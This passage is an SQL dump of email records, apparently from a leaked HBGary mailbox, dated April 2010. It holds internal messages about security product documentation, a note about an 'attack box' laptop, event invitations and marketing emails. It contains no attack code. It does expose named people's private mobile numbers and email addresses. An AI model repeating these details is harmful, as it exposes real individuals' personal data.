such\r\npurpose.&lt;CTSC Non-Disclosure Agreement.doc&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',1187,'aaron_hbgary_com/1187.html'),(5546,'2010-04-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004035.M244851P14101Q402.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Laptop','Glimmer of hopeBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: April 21, 2010 8:52:39 AM MDTTo: Martin Pillion &lt;martin@hbgary.com&gt;Subject: Re: Laptop\r\nThanks. We are going to pick up some 1394 express cards. Shawn usesthem with ubuntu, so they should work in our laptops.\r\nOn Apr 21, 2010, at 8:31 AM, Martin Pillion &lt;martin@hbgary.com&gt; wrote:\r\nDell Studio.  I booted into Ubuntu from a bootable CD drive and justranthe code from a USB stick.\r\n- MartinTed Vera wrote:\r\nOut of curiosity, what make/model linux laptop did you use for theattack box last time?\r\nTed\r\n\r\n\r\n',10438,'aaron_hbgary_com/10438.html'),(5547,'2010-04-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004035.M29495P14101Q401.eml','\"Jim Richards\" <Jim@hbgary.com>','Technical Documents','Hi Jim,\r\n\r\nCan you send me some of the training materials on Responder/REcon/DDNA (user manuals, data sheets, technical specifications).\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12910,'aaron_hbgary_com/12910.html'),(5548,'2010-04-21','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004044.M344446P14101Q403.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: REcon info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;d like to go.&nbsp; Penny said you or I should go.&nbsp; Not sure if she\r\nwants to spend for me if you are going.\r\n\r\n&nbsp;\r\n\r\nAttached is the new DDNA datasheet and the REcon press release.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 21, 2010 10:04 AM\r\nTo: Bob Slapnik\r\nSubject: Re: REcon info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Bob.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre you planning to attend the cybersecurity summit may\r\n11th?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you have any papers on Responder Pro and DDNA?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 20, 2010, at 5:48 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis some REcon data.&nbsp; The user guide is from Nov so it might be\r\ndated.&nbsp; A lot of what I wrote in the SMART section of the DARPA proposal\r\nwas pulled directly from the attached REcon for Exploitation doc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink I have some TMC docs.&nbsp; Let me find them and send them to you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;REcon\r\nUser Guide.docx&gt;&lt;Info from Greg about REcon.txt&gt;&lt;HBGary REcon for\r\nExploitation Assessment.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2811 - Release Date: 04/21/10\r\n02:31:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11830,'aaron_hbgary_com/11830.html'),(5549,'2010-04-21','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297004045.M136399P14101Q404.eml','aaron@hbgary.com','Less than 24 hrs left to register for Apr 23 Lunch with USAF Asst Sec for Acquisition, David Van Buren - Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Apr \r\n        23 (Fri), 2010 -- AFCEA NOVA Monthly Luncheon\r\nLess than 24 hrs left to register; closes Thurs 10am\r\n      Speaker:\r\n        \r\n        Mr. David M. Van Buren\r\n         Acting Assistant Secretary for Acquisition\r\n        U.S. Air Force\r\n        \r\n      Register \r\n        Online Now\r\n        (as always, Gratis to Gov/Mil employees)\r\n      &nbsp;\r\n      \r\n      \r\n        \r\n          DETAILS\r\n            WHEN:\r\n              Friday, \r\n              April 23, 2010\r\n              11:30am - Check-In &amp; Reception\r\n              12:00n - 1:30pm - Luncheon &amp; Program\r\n            \r\n              WHERE:\r\n              Sheraton \r\n              Premiere at Tysons Corner\r\n              8661 Leesburg Pike\r\n              Vienna, Virginia 22180\r\n            \r\n              COST:\r\n              Industry Member Pre-Registered -- $35\r\n              Industry Non-member Pre-Registered -- $40\r\n              Industry Member Walk-in -- $40 (if space is available)\r\n              Industry Non-member Walk-in -- $45 (if space is available)\r\n              Government Reservations -- Gratis (but we need you to pre-register \r\n              to attend)\r\n            It is not necessary \r\n              to be a member of AFCEA to attend the monthly luncheons... But once \r\n              you come to an event, we think you\'ll want to join us!\r\n            SHUTTLE-RIDE \r\n              FROM THE PENTAGON:\r\n              AFCEA NOVA offers a shuttle-ride service between the Pentagon and the \r\n              Sheraton for luncheon attendees. The drivers will depart the Pentagon \r\n              at 1105 for the Sheraton and departs the Sheraton at 1330 for return \r\n              to the Pentagon by 1400. To sign up for a ride from the Pentagon, please 1) Register \r\n              for the Luncheon, and then 2) Fill \r\n              out the separate Shuttle Registration Form, which goes to \r\n              our VP for Govt affairs team.\r\n            Register \r\n              Online Now\r\n              \r\n            AFCEA \r\n              NOVA Corporate Table Holders\r\n              Have you Signed Up for your table for \r\n              2009-2010\r\n            With \r\n              great speakers and an average attendance of 400+, AFCEA NOVA Monthly \r\n              Luncheons are hands-down the best networking event in town for the \r\n              defense, intel &amp; homeland security communities!\r\n            Learn \r\n              about the benefits of being a Corp Table Holder &amp; Sign Up Online \r\n              Today!\r\n              \r\n              \r\n      \r\n        \r\n      \r\n      \r\n         \r\n          \r\n          &nbsp;\r\n        \r\n         \r\n          2009-2010 \r\n              Multi-Table Sponsors\r\n        \r\n         \r\n           \r\n              Booz Allen Hamilton \r\n          \r\n              General Dynamics\r\n              \r\n              \r\n        \r\n         \r\n          \r\n        \r\n         \r\n          2009-2010 \r\n              Full-Table Sponsors\r\n        \r\n         \r\n          \r\n              AT&amp;T\r\n              BAE Systems\r\n              Bomgar \r\n              Booz Allen Hamilton\r\n              Booz Allen Hamilton\r\n              Brocade\r\n              CACI\r\n              CompTIA\r\n              Deloitte\r\n              DLT Solutions, Inc.\r\n              Eclat\r\n              Fairfax Co Economic Development Authority \r\n              General Dynamics\r\n              General Dynamics IT\r\n            &nbsp;\r\n            \r\n            \r\n            \r\n            GTSI / NetApp\r\n            Harris\r\n            HP\r\n            IBM \r\n            immixGroup\r\n            ITT\r\n            Kratos Defense &amp; Security\r\n            Lockheed Martin\r\n            Nortel Government Solutions\r\n            Northrop Grumman\r\n            QinetiQ North America\r\n            SAIC\r\n            Segovia \r\n            Sybase\r\n            Verizon Business\r\n            \r\n            \r\n        \r\n         \r\n          2009-2010 \r\n            Half-Table Sponsors\r\n        \r\n         \r\n          Accenture\r\n              Adobe Systems\r\n              Akamai Technologies\r\n              Alion Science and Technology\r\n              ASM Research\r\n              ASSYST\r\n              Bamboo Solutions\r\n              Brandon Technology Consulting\r\n              CA, Inc.\r\n              CDW\r\n              Ciena \r\n              Cisco\r\n              Copper River Information Technology\r\n              CSC\r\n              Data Systems &amp; Technology\r\n              FedSources \r\n              Femme Comp\r\n              Fluke Networks\r\n              Fujitsu Network Communications\r\n              Global Broadband Solutions\r\n              Graybar/Tyco \r\n              iDirect Government Technologies\r\n              iGov\r\n              InfoZen \r\n              INPUT \r\n              InTec\r\n              Intellifiber Networks\r\n              Juniper Networks\r\n              L-3 Enterprise IT Solutions\r\n              L-3 GS&amp;ES\r\n              Level 3 Communications\r\n            \r\n               \r\n            \r\n          LGS \r\n              Innovations\r\n              MorganFranklin\r\n              NCI Information Systems\r\n              Next Tier Concepts \r\n              NetStar-1\r\n              NJVC\r\n              NOVA Corporation\r\n              Parabon Computation\r\n              Paragon Communications Solutions\r\n              Perot Systems\r\n              Pragmatics\r\n              Quest Software\r\n              Qwest Government Services\r\n              SDV Solutions\r\n              SecureInfo Corporation\r\n              Security University\r\n              Senior Executive Services\r\n              Solers\r\n              Sprint\r\n              SRA International\r\n              STG, Inc.\r\n              Symantec\r\n              TCoombs &amp; Associates\r\n              TechTeam Government Solutions\r\n              Trusted Computer Solutions\r\n              Ultra Electronics-Criticom\r\n              Unisys\r\n              Vangent\r\n              Vision Technologies\r\n              Whitney, Bradley &amp; Brown\r\n               \r\n        \r\n      \r\n      Shouldn\'t \r\n        Your Company Be Listed Above as a Monthly Table Holder?\r\n        Sign \r\n        Up Online Today!\r\n      Volunteer \r\n        with AFCEA NOVA\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                &nbsp;\r\n                  Apr \r\n                    Monthly Lunch w/ David Van Buren, USAF Asst Sec for Acq\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 23 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Annual \r\n                    Golf Tournament\r\n                  Old \r\n                    Hickory Golf Club, Woodbridge\r\n                    Apr 29 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  May \r\n                    Monthly Lunch w/ BG Lee Price, PEO C3T, U.S. Army\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    May 14 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  June \r\n                    2010 Monthly Luncheon\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 11 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',7090,'aaron_hbgary_com/7090.html'),(5550,'2010-04-21','\"JD Kathuria\" <jd@executivebiz.com>','/aaron@hbgary.com/new/1297004045.M377412P14101Q405.eml','aaron@hbgary.com,samuel.chun@hp.com,skip.foote@americansystems.com,michael.fraser@usis.com,jessie.miscar@usis.com,gig@mitre.org,lhormann@mitre.org,jpayne@telcordia.com,sdowney@telcordia.com,bill.phelps@accenture.com,anissa.l.thomas@accenture.com,vpratuch@cisco.com,jreagan@deloitte.com,rwilloughby@deloitte.com','Invite - ExecutiveBiz 4x24 Diner Series (Group 11)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, June 15, 2010 5:30 PM-8:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Flemming\'s Restaurant - Tysons (1960-A Chain Bridge Rd., McLean VA 22102)\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nDear 4x24 Member; \r\n&nbsp;\r\nWelcome to ExecutiveBiz\' 4x24 Dinner Series Program (Group 11).&nbsp; We are thrilled to have you on board!\r\n&nbsp;\r\nWith that said, I hope you can join us for the Inaugural&nbsp; Dinner which is slated for Tuesday, June 15th from 5:30pm to 8:30pm.&nbsp; The dinner will take place at Flemming\'s\r\nRestaurant in the Galleria Room in Tysons Corner (1960-A Chain Bridge Road, McLean VA, 22102).&nbsp; The networking begins at 5:30pm with dinner commencing at 6:30pm. \r\n&nbsp;\r\nThe Chairman for your group is Bill Varner (President, ManTech Mission, Cyber &amp; Technology Solutions Group).\r\n&nbsp;\r\nThe speaker is TBD.&nbsp; As soon as we have him/her confirmed, we will let you know.\r\n&nbsp;\r\nThe remainder dates have yet to be secured but as soon as they are, we will let you know.&nbsp; \r\n&nbsp;\r\nIf you have any additional questions, please contact me or Nicole Kaboli at 703-226-7006 or via email at nicole@executivebiz.com.\r\n&nbsp;\r\nI look forward to seeing you in May.\r\n&nbsp;\r\nJD \r\n&nbsp;\r\nJD Kathuria\r\n\r\nEditor-in-Chief | ExecutiveBiz\r\n\r\no: 703 – 226 - 7010\r\n\r\nExecutiveBiz is a weekly digital magazine and membership organization. Learn more:\r\nhttp://www.executivebiz.com\r\n&nbsp;\r\n\r\n\r\n\r\n',14350,'aaron_hbgary_com/14350.html'),(5551,'2010-04-21','jim@hbgary.com','/aaron@hbgary.com/new/1297004045.M593358P14101Q406.eml','aaron@hbgary.com','Responder2.0_User_FINAL.pdf','\r\n\r\nI\'ve shared Responder2.0_User_FINAL.pdf\r\nMessage from jim@hbgary.com:\r\nHere&#39;s the copy of the Responder User Guide, which includes REcon information as well...\r\nClick to open:\r\nResponder2.0_User_FINAL.pdf\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',1874,'aaron_hbgary_com/1874.html'),(5552,'2010-04-21','\"Jim Richards\" <jim@hbgary.com>','/aaron@hbgary.com/new/1297004045.M911087P14101Q407.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Technical Documents','Aaron,\r\nI\'ve uploaded the Responder User guide in the Google docs area, and have\r\ngiven you access to it. This user guide is included with the Responder\r\nproduct. As far as data sheets, etc... Sorry, but I don\'t have those. You\r\nmight want to ask Bob or Maria for that kind of collateral. If they don\'t\r\nhave anything, then maybe you and I can come up with something?\r\n\r\nJim\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 21, 2010 7:38 AM\r\nTo: Jim Richards\r\nSubject: Technical Documents\r\n\r\nHi Jim,\r\n\r\nCan you send me some of the training materials on Responder/REcon/DDNA (user\r\nmanuals, data sheets, technical specifications).\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3171,'aaron_hbgary_com/3171.html'),(5553,'2010-04-21','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297004046.M142075P14101Q408.eml','aaron@hbgary.com','Perfect timing','\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n      Regus\r\n    \r\n    \r\n/*\r\n    /*]]>*/\r\n    \r\n  \r\n  \r\n    \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n              \r\n              \r\n                Having trouble viewing this email? See it online\r\n                Please add email@regusworldwide.com to your address book\r\n              \r\n              \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                    \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    \r\n                      Perfect timing\r\n                    \r\n                  \r\n                  \r\n                    \r\n                      \r\n                    \r\n                  \r\n                \r\n              \r\n              \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                \r\n                Dear Aaron,\r\n                \r\n                Life is so much easier when things happen at the right time.  But in business, the day hardly ever conforms to a 9-5 routine. Your clients always expect you to be flexible. Shouldn’t you expect the same from your suppliers?\r\n                \r\n                That’s why Regus has introduced a new 24 hour service - Meeting Rooms Online\r\n                \r\n                With online booking, you can schedule a fully equipped Meeting Room at the time that suits you. Simply choose your location. Select your preferences - including room layout, technical facilities and refreshments. Then confirm payment details and you’re booked. Easy.\r\n                \r\n                Even better, you&rsquo;ll save an extra 10% by booking online.  And that&rsquo;s good news anytime.\r\n                \r\n                Try us out at Meeting Rooms Online.\r\n                \r\n                Or call 1-888-271-4615 and we&rsquo;ll arrange the perfect meeting.\r\n                \r\n                Regus\r\nThe natural environment for business\r\n                \r\n                  \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      Discover more\r\n                    \r\n                    \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    \r\n                      \r\n                    \r\n                  \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                  \r\n                    \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      Call 1-888-271-4615and we&rsquo;ll arrange the perfect meeting.\r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    \r\n                      \r\n                    \r\n                  \r\n                \r\n              \r\n              \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      1000 Locations : 450 Cities : 75 Countries\r\n                    \r\n                    \r\n                  \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n            &copy; Regus 2010\r\n       \r\n       OfficesOptionsSolutionsServices\r\n\r\n       \r\n       Meeting RoomsRoom TypesSolutionsServices\r\n       \r\n       Virtual OfficesBenefitsCase StudiesProducts\r\n       \r\n\r\n       MembershipGoldPlatinumPlatinum Plus\r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                    \r\n                      * Contents are correct at the time of sending and are subject to availability or change without notice.\r\n                      \r\n                      Regus Group plc and its subsidiaries (\"Regus Group\") respect your privacy and are committed to protecting it. If you no longer wish to receive our promotional communications, you may opt-out of them at any time by clicking Update Profile.\r\n                      \r\n                      You can find out more by reading our privacy policy\r\n                      \r\n                      Regus plc (soci&#233;t&#233; anonyme) Head Office: 26 Boulevard Royal, L-2449 Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22 Grenville Street , St Helier, Jersey , JE4 8PX , Channel Islands Jersey Registered Number: 101523\r\n                    \r\n                  \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n',2189,'aaron_hbgary_com/2189.html'),(5554,'2010-04-21','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297004046.M392920P14101Q409.eml','aaron@hbgary.com','Face to face','\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n      Regus\r\n    \r\n    \r\n/*\r\n    .body5 a\r\n    {\r\n    font-weight:bold;\r\n    color:#FFFFFF;\r\n    text-decoration: none;\r\n    }\r\n    .button a\r\n    {\r\n    font-weight:bold;\r\n    color:#FFFFFF;\r\n    text-decoration: none;\r\n    }\r\n    .signoff1 a\r\n    {\r\n    font-weight:bold;\r\n    color:#FFFFFF;\r\n    text-decoration: none;\r\n    }\r\n    .signoff2 a\r\n    {\r\n    text-decoration:none;\r\n    font-weight:bold;\r\n    color:#FFFFFF;\r\n    }\r\n    .cta1 a\r\n    {\r\n    font-weight:bold;\r\n    color:#FFFFFF;\r\n    text-decoration: none;\r\n    }\r\n    .cta2 a\r\n    {\r\n    font-weight:bold;\r\n    color:#FFFFFF;\r\n    text-decoration: none;\r\n    }\r\n    .footer3 a\r\n    {\r\n    color:#c71441;\r\n    text-decoration: none;\r\n    }\r\n    .footer4 a\r\n    {\r\n    color:#c71441;\r\n    text-decoration: none;\r\n    }\r\n    .footer5 a\r\n    {\r\n    color:#c71441;\r\n    text-decoration: none;\r\n    }\r\n    .footer6 a\r\n    {\r\n    color:#c71441;\r\n    text-decoration: none;\r\n    }\r\n    .headline a\r\n    {\r\n\r\n    color:#c71441;\r\n    text-decoration: none;\r\n    }\r\n    .ctapanel1 a\r\n    {\r\n\r\n    color:#c71441;\r\n    text-decoration: none;\r\n    }\r\n    .header1 a\r\n    {\r\n    color: #686c80;\r\n    font-weight:bold;\r\n    }\r\n    .header2 a\r\n    {\r\n    color: #686c80;\r\n    font-weight:bold;\r\n    }\r\n    .header3 a\r\n    {\r\n    color: #686c80;\r\n    font-weight:bold;\r\n    }\r\n    .header4 a\r\n    {\r\n    color: #686c80;\r\n    font-weight:bold;\r\n    }\r\n    /*]]>*/\r\n    \r\n  \r\n  \r\n    \r\n      \r\n        \r\n          \r\n            \r\n            \r\n              \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n              \r\n                \r\n                 See it online-->Having trouble viewing this email? See it online | \r\nForward this email to a friend\r\n                Please add email@regusworldwide.com to your address book\r\n              \r\n            \r\n            \r\n              \r\n                \r\n              \r\n            \r\n            \r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n              \r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    \r\n                      Face to face\r\n                    \r\n                    \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                  \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                \r\n                Dear Aaron,\r\n                \r\n                If you’re a long distance from your key clients, it’s essential to maintain a personal presence. Yet travelling can be impractical and costly. Regus allowS you all the advantages of meeting face-to-face, without the expense or time needed for travel.\r\n                \r\n                In any of our videoconferencing suites, you can hold face-to-face meetings with your contacts all over the world. And with Regus Telepresence you meet your contacts in life size, high definition.\r\n                \r\n                In one simple step, you can reduce travel costs and increase productivity, making a big impression on your clients.\r\n                \r\n            \r\n                Stay closer with Telepresence and Videoconferencing.\r\n                \r\n                Or call 1-877-776-9995 and speak to a friendly face.\r\n                \r\n                \r\n                \r\n                Regus\r\n                \r\n                \r\n                The natural environment for business\r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      Discover more\r\n                    \r\n                    \r\n                      \r\n                    \r\n                  \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      Call 1-877-776-9995\r\n                      and speak to a friendly face\r\n                    \r\n                    \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    \r\n                      \r\n                    \r\n                  \r\n                \r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n              \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n              \r\n                \r\n              \r\n              \r\n                1000 Locations : 450 Cities : 75 Countries\r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n              \r\n                \r\n              \r\n            \r\n            \r\n              \r\n                \r\n              \r\n            \r\n            \r\n              \r\n                \r\n                  &copy; Regus 2010\r\n       \r\n       OfficesOptionsSolutionsServices\r\n\r\n       \r\n       Meeting RoomsRoom TypesSolutionsServices\r\n       \r\n       Virtual OfficesBenefitsCase StudiesProducts\r\n       \r\n\r\n       MembershipGoldPlatinumPlatinum Plus\r\n                \r\n              \r\n            \r\n            \r\n              \r\n                \r\n              \r\n            \r\n            \r\n              \r\n                Terms and conditions apply. Contents are correct at the time of sending and are subject to availability or change without notice.\r\n                \r\n                 Update Profile-->\r\n                 Regus Group plc and its subsidiaries (\"Regus Group\") respect your privacy and are committed to protecting it. If you no longer wish to receive our promotional communications, you may opt-out of them at any time by clicking Update Profile.\r\n                \r\n                You can find out more by reading our privacy policy.\r\n                \r\n                Regus plc (soci&#233;t&#233; anonyme) Head Office: 26 Boulevard Royal, L-2449 Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22 Grenville Street , St Helier, Jersey , JE4 8PX , Channel Islands Jersey Registered Number: 101523\r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n',13561,'aaron_hbgary_com/13561.html'),(5555,'2010-04-21','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004046.M617954P14101Q410.eml','\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','COIN Update','\r\n\r\n\r\n\r\n\r\nCOIN Update\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, April 27, 2010 10:30 AM-11:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF4 4A\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',7052,'aaron_hbgary_com/7052.html'),(5556,'2010-04-21','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004049.M14323P14101Q411.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Stock Photo Image','\r\nOn Mon, Apr 12, 2010 at 6:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Penny,Do you guys have a stock photo account.Do you already have a copy of the following image?\r\nist2_3953520-3d-helix-with-binary-codeAaron BarrCEOHBGary Federal Inc.\r\n',5243,'aaron_hbgary_com/5243.html'),(5557,'2010-04-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004049.M439269P14101Q412.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Stock Photo Image','Thanks.\r\n\r\n From my iPhone\r\n\r\nOn Apr 21, 2010, at 1:10 PM, Greg Hoglund  wrote:\r\n\r\n> On Mon, Apr 12, 2010 at 6:32 AM, Aaron 